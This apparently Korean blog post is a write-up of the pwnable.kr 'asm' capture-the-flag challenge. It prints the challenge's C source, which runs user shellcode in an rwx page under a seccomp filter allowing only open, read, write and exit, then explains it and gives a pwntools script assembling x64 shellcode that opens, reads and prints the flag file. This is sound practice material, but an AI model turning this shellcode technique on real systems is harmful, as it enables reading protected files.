-
[ Toddler's Bottle ] asmSystem/Pwnable.kr 2019. 3. 9. 00:54
문제를 보면 Shellcode를 만들어서 익스하는 유형인것 같다.
[ asm.c ]
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#include <stdio.h>#include <string.h>#include <stdlib.h>#include <sys/mman.h>#include <seccomp.h>#include <sys/prctl.h>#include <fcntl.h>#include <unistd.h>#define LENGTH 128void sandbox(){scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);if (ctx == NULL) {printf("seccomp error\n");exit(0);}seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);if (seccomp_load(ctx) < 0){seccomp_release(ctx);printf("seccomp error\n");exit(0);}seccomp_release(ctx);}char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";unsigned char filter[256];int main(int argc, char* argv[]){setvbuf(stdout, 0, _IONBF, 0);setvbuf(stdin, 0, _IOLBF, 0);printf("Welcome to shellcoding practice challenge.\n");printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");printf("If this does not challenge you. you should play 'asg' challenge :)\n");char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);memset(sh, 0x90, 0x1000);memcpy(sh, stub, strlen(stub));int offset = sizeof(stub);printf("give me your x64 shellcode: ");read(0, sh+offset, 1000);alarm(10);chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmpsandbox();((void (*)(void))sh)();return 0;}cs 바이너리의 소스코드다.
중요한 부분만 따로 정리해보도록 하자
[ Seccomp_rule_add( ) ]
seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt)
위 함수는 syscall사용에 대한 규칙을 추가해주는 함수이다.
해당 코드에서는 Open, Read, Write, Exit을 제외한 모든 Syscall사용이 불가능하도록 설정되어 있다.
[ Stub Shellcode ]
이 쉘코드는 우리가 Input한 쉘코드가 실행되기 전에 실행되는데,
RAX~R15까지의 모든 레지스터들을 xor로 초기화해주는 Shellcode다.
친절하기도 하셔라..
[ mmap ]
빨간박스에서 우리의 Input이 저장되는 sh공간을 강제맵핑해주고 있다.
0x41414000을 메모리에 강제로 맵핑한 뒤, 7권한(rwx)을 할당해주는 모습이다.
고정된 주소가 있기 때문에, 익스가 한층 더 수월해졌다.
주황박스에서 sandbox( )는 위에서 정의한 Seccomp_rule_add( )들을 실행해주고,
우리가 저장한 쉘코드의 시작주소를 Call한다.
Exploit하는 방법은 간단하다.
Read( )로 파일이름을 받고, Open( )으로 파일을 열어서 Read( )로 메모리에 파일내용을 저장해준 뒤
Write( )로 출력해주는 Shellcode를 만들어서 넣어주면 된다.
pwntools의 asm( )를 사용하면 편하게 직관적으로 쉘코드를 만들 수 있다.
[ Payload ]
12345678910111213141516171819202122232425262728293031323334353637from pwn import *context(arch="amd64")p = remote("localhost",9026)file = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00"print p.recvuntil("give me your x64 shellcode: ")#Save Filenamepayload = asm('mov rax, 0')payload += asm('mov rdi, 0')payload += asm('mov rsi, 0x41414500')payload += asm('mov rdx, 232')payload += asm('syscall')#Open Filepayload += asm('mov rax, 2')payload += asm('mov rdi, 0x41414500')payload += asm('mov rsi, 0')payload += asm('mov rdx, 0')payload += asm('syscall')#payload += asm('mov rax, 0')payload += asm('mov rdi, 3')payload += asm('mov rsi, 0x41414650')payload += asm('mov rdx, 1000')payload += asm('syscall')payload += asm('mov rax, 1')payload += asm('mov rdi, 1')payload += asm('mov rsi, 0x41414650')payload += asm('mov rdx, 1000')payload += asm('syscall')p.send(payload)p.send(file)p.interactive()cs [ Exploit ]
'System > Pwnable.kr' 카테고리의 다른 글
[ Rookiss ] Ascii_easy (2) 2019.04.05 [ Rookiss ] Alloca (1) 2019.03.24 [ Rookiss ] otp (1) 2019.03.06 [ Rookiss ] Simple Login (2) 2019.01.17 [ Rookiss ] loveletter (0) 2018.08.26 댓글